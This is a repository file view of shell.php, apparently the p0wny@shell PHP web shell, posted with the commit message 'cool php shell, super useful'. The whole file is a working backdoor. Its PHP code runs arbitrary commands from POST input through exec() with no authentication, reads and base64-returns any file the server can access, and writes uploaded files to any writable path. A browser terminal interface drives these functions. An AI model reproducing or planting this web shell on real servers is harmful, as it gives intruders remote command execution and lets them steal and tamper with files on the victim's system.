Newer
Older
DirtyScripts / shell.php
root on 10 Feb 2022 16 KB cool php shell, super useful
  1. <?php
  2.  
  3. function featureShell($cmd, $cwd) {
  4. $stdout = array();
  5.  
  6. if (preg_match("/^\s*cd\s*$/", $cmd)) {
  7. // pass
  8. } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
  9. chdir($cwd);
  10. preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  11. chdir($match[1]);
  12. } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
  13. chdir($cwd);
  14. preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  15. return featureDownload($match[1]);
  16. } else {
  17. chdir($cwd);
  18. exec($cmd, $stdout);
  19. }
  20.  
  21. return array(
  22. "stdout" => $stdout,
  23. "cwd" => getcwd()
  24. );
  25. }
  26.  
  27. function featurePwd() {
  28. return array("cwd" => getcwd());
  29. }
  30.  
  31. function featureHint($fileName, $cwd, $type) {
  32. chdir($cwd);
  33. if ($type == 'cmd') {
  34. $cmd = "compgen -c $fileName";
  35. } else {
  36. $cmd = "compgen -f $fileName";
  37. }
  38. $cmd = "/bin/bash -c \"$cmd\"";
  39. $files = explode("\n", shell_exec($cmd));
  40. return array(
  41. 'files' => $files,
  42. );
  43. }
  44.  
  45. function featureDownload($filePath) {
  46. $file = @file_get_contents($filePath);
  47. if ($file === FALSE) {
  48. return array(
  49. 'stdout' => array('File not found / no read permission.'),
  50. 'cwd' => getcwd()
  51. );
  52. } else {
  53. return array(
  54. 'name' => basename($filePath),
  55. 'file' => base64_encode($file)
  56. );
  57. }
  58. }
  59.  
  60. function featureUpload($path, $file, $cwd) {
  61. chdir($cwd);
  62. $f = @fopen($path, 'wb');
  63. if ($f === FALSE) {
  64. return array(
  65. 'stdout' => array('Invalid path / no write permission.'),
  66. 'cwd' => getcwd()
  67. );
  68. } else {
  69. fwrite($f, base64_decode($file));
  70. fclose($f);
  71. return array(
  72. 'stdout' => array('Done.'),
  73. 'cwd' => getcwd()
  74. );
  75. }
  76. }
  77.  
  78. if (isset($_GET["feature"])) {
  79.  
  80. $response = NULL;
  81.  
  82. switch ($_GET["feature"]) {
  83. case "shell":
  84. $cmd = $_POST['cmd'];
  85. if (!preg_match('/2>/', $cmd)) {
  86. $cmd .= ' 2>&1';
  87. }
  88. $response = featureShell($cmd, $_POST["cwd"]);
  89. break;
  90. case "pwd":
  91. $response = featurePwd();
  92. break;
  93. case "hint":
  94. $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
  95. break;
  96. case 'upload':
  97. $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
  98. }
  99.  
  100. header("Content-Type: application/json");
  101. echo json_encode($response);
  102. die();
  103. }
  104.  
  105. ?><!DOCTYPE html>
  106.  
  107. <html>
  108.  
  109. <head>
  110. <meta charset="UTF-8" />
  111. <title>p0wny@shell:~#</title>
  112. <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  113. <style>
  114. html, body {
  115. margin: 0;
  116. padding: 0;
  117. background: #333;
  118. color: #eee;
  119. font-family: monospace;
  120. }
  121.  
  122. *::-webkit-scrollbar-track {
  123. border-radius: 8px;
  124. background-color: #353535;
  125. }
  126.  
  127. *::-webkit-scrollbar {
  128. width: 8px;
  129. height: 8px;
  130. }
  131.  
  132. *::-webkit-scrollbar-thumb {
  133. border-radius: 8px;
  134. -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
  135. background-color: #bcbcbc;
  136. }
  137.  
  138. #shell {
  139. background: #222;
  140. max-width: 800px;
  141. margin: 50px auto 0 auto;
  142. box-shadow: 0 0 5px rgba(0, 0, 0, .3);
  143. font-size: 10pt;
  144. display: flex;
  145. flex-direction: column;
  146. align-items: stretch;
  147. }
  148.  
  149. #shell-content {
  150. height: 500px;
  151. overflow: auto;
  152. padding: 5px;
  153. white-space: pre-wrap;
  154. flex-grow: 1;
  155. }
  156.  
  157. #shell-logo {
  158. font-weight: bold;
  159. color: #FF4180;
  160. text-align: center;
  161. }
  162.  
  163. @media (max-width: 991px) {
  164. #shell-logo {
  165. font-size: 6px;
  166. margin: -25px 0;
  167. }
  168.  
  169. html, body, #shell {
  170. height: 100%;
  171. width: 100%;
  172. max-width: none;
  173. }
  174.  
  175. #shell {
  176. margin-top: 0;
  177. }
  178. }
  179.  
  180. @media (max-width: 767px) {
  181. #shell-input {
  182. flex-direction: column;
  183. }
  184. }
  185.  
  186. @media (max-width: 320px) {
  187. #shell-logo {
  188. font-size: 5px;
  189. }
  190. }
  191.  
  192. .shell-prompt {
  193. font-weight: bold;
  194. color: #75DF0B;
  195. }
  196.  
  197. .shell-prompt > span {
  198. color: #1BC9E7;
  199. }
  200.  
  201. #shell-input {
  202. display: flex;
  203. box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
  204. border-top: rgba(255, 255, 255, .05) solid 1px;
  205. }
  206.  
  207. #shell-input > label {
  208. flex-grow: 0;
  209. display: block;
  210. padding: 0 5px;
  211. height: 30px;
  212. line-height: 30px;
  213. }
  214.  
  215. #shell-input #shell-cmd {
  216. height: 30px;
  217. line-height: 30px;
  218. border: none;
  219. background: transparent;
  220. color: #eee;
  221. font-family: monospace;
  222. font-size: 10pt;
  223. width: 100%;
  224. align-self: center;
  225. }
  226.  
  227. #shell-input div {
  228. flex-grow: 1;
  229. align-items: stretch;
  230. }
  231.  
  232. #shell-input input {
  233. outline: none;
  234. }
  235. </style>
  236.  
  237. <script>
  238. var CWD = null;
  239. var commandHistory = [];
  240. var historyPosition = 0;
  241. var eShellCmdInput = null;
  242. var eShellContent = null;
  243.  
  244. function _insertCommand(command) {
  245. eShellContent.innerHTML += "\n\n";
  246. eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
  247. eShellContent.innerHTML += escapeHtml(command);
  248. eShellContent.innerHTML += "\n";
  249. eShellContent.scrollTop = eShellContent.scrollHeight;
  250. }
  251.  
  252. function _insertStdout(stdout) {
  253. eShellContent.innerHTML += escapeHtml(stdout);
  254. eShellContent.scrollTop = eShellContent.scrollHeight;
  255. }
  256.  
  257. function _defer(callback) {
  258. setTimeout(callback, 0);
  259. }
  260.  
  261. function featureShell(command) {
  262.  
  263. _insertCommand(command);
  264. if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
  265. featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
  266. } else if (/^\s*clear\s*$/.test(command)) {
  267. // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
  268. eShellContent.innerHTML = '';
  269. } else {
  270. makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
  271. if (response.hasOwnProperty('file')) {
  272. featureDownload(response.name, response.file)
  273. } else {
  274. _insertStdout(response.stdout.join("\n"));
  275. updateCwd(response.cwd);
  276. }
  277. });
  278. }
  279. }
  280.  
  281. function featureHint() {
  282. if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
  283.  
  284. function _requestCallback(data) {
  285. if (data.files.length <= 1) return; // no completion
  286.  
  287. if (data.files.length === 2) {
  288. if (type === 'cmd') {
  289. eShellCmdInput.value = data.files[0];
  290. } else {
  291. var currentValue = eShellCmdInput.value;
  292. eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
  293. }
  294. } else {
  295. _insertCommand(eShellCmdInput.value);
  296. _insertStdout(data.files.join("\n"));
  297. }
  298. }
  299.  
  300. var currentCmd = eShellCmdInput.value.split(" ");
  301. var type = (currentCmd.length === 1) ? "cmd" : "file";
  302. var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
  303.  
  304. makeRequest(
  305. "?feature=hint",
  306. {
  307. filename: fileName,
  308. cwd: CWD,
  309. type: type
  310. },
  311. _requestCallback
  312. );
  313.  
  314. }
  315.  
  316. function featureDownload(name, file) {
  317. var element = document.createElement('a');
  318. element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
  319. element.setAttribute('download', name);
  320. element.style.display = 'none';
  321. document.body.appendChild(element);
  322. element.click();
  323. document.body.removeChild(element);
  324. _insertStdout('Done.');
  325. }
  326.  
  327. function featureUpload(path) {
  328. var element = document.createElement('input');
  329. element.setAttribute('type', 'file');
  330. element.style.display = 'none';
  331. document.body.appendChild(element);
  332. element.addEventListener('change', function () {
  333. var promise = getBase64(element.files[0]);
  334. promise.then(function (file) {
  335. makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
  336. _insertStdout(response.stdout.join("\n"));
  337. updateCwd(response.cwd);
  338. });
  339. }, function () {
  340. _insertStdout('An unknown client-side error occurred.');
  341. });
  342. });
  343. element.click();
  344. document.body.removeChild(element);
  345. }
  346.  
  347. function getBase64(file, onLoadCallback) {
  348. return new Promise(function(resolve, reject) {
  349. var reader = new FileReader();
  350. reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
  351. reader.onerror = reject;
  352. reader.readAsDataURL(file);
  353. });
  354. }
  355.  
  356. function genPrompt(cwd) {
  357. cwd = cwd || "~";
  358. var shortCwd = cwd;
  359. if (cwd.split("/").length > 3) {
  360. var splittedCwd = cwd.split("/");
  361. shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
  362. }
  363. return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
  364. }
  365.  
  366. function updateCwd(cwd) {
  367. if (cwd) {
  368. CWD = cwd;
  369. _updatePrompt();
  370. return;
  371. }
  372. makeRequest("?feature=pwd", {}, function(response) {
  373. CWD = response.cwd;
  374. _updatePrompt();
  375. });
  376.  
  377. }
  378.  
  379. function escapeHtml(string) {
  380. return string
  381. .replace(/&/g, "&amp;")
  382. .replace(/</g, "&lt;")
  383. .replace(/>/g, "&gt;");
  384. }
  385.  
  386. function _updatePrompt() {
  387. var eShellPrompt = document.getElementById("shell-prompt");
  388. eShellPrompt.innerHTML = genPrompt(CWD);
  389. }
  390.  
  391. function _onShellCmdKeyDown(event) {
  392. switch (event.key) {
  393. case "Enter":
  394. featureShell(eShellCmdInput.value);
  395. insertToHistory(eShellCmdInput.value);
  396. eShellCmdInput.value = "";
  397. break;
  398. case "ArrowUp":
  399. if (historyPosition > 0) {
  400. historyPosition--;
  401. eShellCmdInput.blur();
  402. eShellCmdInput.value = commandHistory[historyPosition];
  403. _defer(function() {
  404. eShellCmdInput.focus();
  405. });
  406. }
  407. break;
  408. case "ArrowDown":
  409. if (historyPosition >= commandHistory.length) {
  410. break;
  411. }
  412. historyPosition++;
  413. if (historyPosition === commandHistory.length) {
  414. eShellCmdInput.value = "";
  415. } else {
  416. eShellCmdInput.blur();
  417. eShellCmdInput.focus();
  418. eShellCmdInput.value = commandHistory[historyPosition];
  419. }
  420. break;
  421. case 'Tab':
  422. event.preventDefault();
  423. featureHint();
  424. break;
  425. }
  426. }
  427.  
  428. function insertToHistory(cmd) {
  429. commandHistory.push(cmd);
  430. historyPosition = commandHistory.length;
  431. }
  432.  
  433. function makeRequest(url, params, callback) {
  434. function getQueryString() {
  435. var a = [];
  436. for (var key in params) {
  437. if (params.hasOwnProperty(key)) {
  438. a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
  439. }
  440. }
  441. return a.join("&");
  442. }
  443. var xhr = new XMLHttpRequest();
  444. xhr.open("POST", url, true);
  445. xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  446. xhr.onreadystatechange = function() {
  447. if (xhr.readyState === 4 && xhr.status === 200) {
  448. try {
  449. var responseJson = JSON.parse(xhr.responseText);
  450. callback(responseJson);
  451. } catch (error) {
  452. alert("Error while parsing response: " + error);
  453. }
  454. }
  455. };
  456. xhr.send(getQueryString());
  457. }
  458.  
  459. document.onclick = function(event) {
  460. event = event || window.event;
  461. var selection = window.getSelection();
  462. var target = event.target || event.srcElement;
  463.  
  464. if (target.tagName === "SELECT") {
  465. return;
  466. }
  467.  
  468. if (!selection.toString()) {
  469. eShellCmdInput.focus();
  470. }
  471. };
  472.  
  473. window.onload = function() {
  474. eShellCmdInput = document.getElementById("shell-cmd");
  475. eShellContent = document.getElementById("shell-content");
  476. updateCwd();
  477. eShellCmdInput.focus();
  478. };
  479. </script>
  480. </head>
  481.  
  482. <body>
  483. <div id="shell">
  484. <pre id="shell-content">
  485. <div id="shell-logo">
  486. ___ ____ _ _ _ _ _ <span></span>
  487. _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
  488. | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
  489. | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
  490. | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
  491. |_| |___/ \____/ <span></span>
  492. </div>
  493. </pre>
  494. <div id="shell-input">
  495. <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
  496. <div>
  497. <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
  498. </div>
  499. </div>
  500. </div>
  501. </body>
  502.  
  503. </html>
Buy Me A Coffee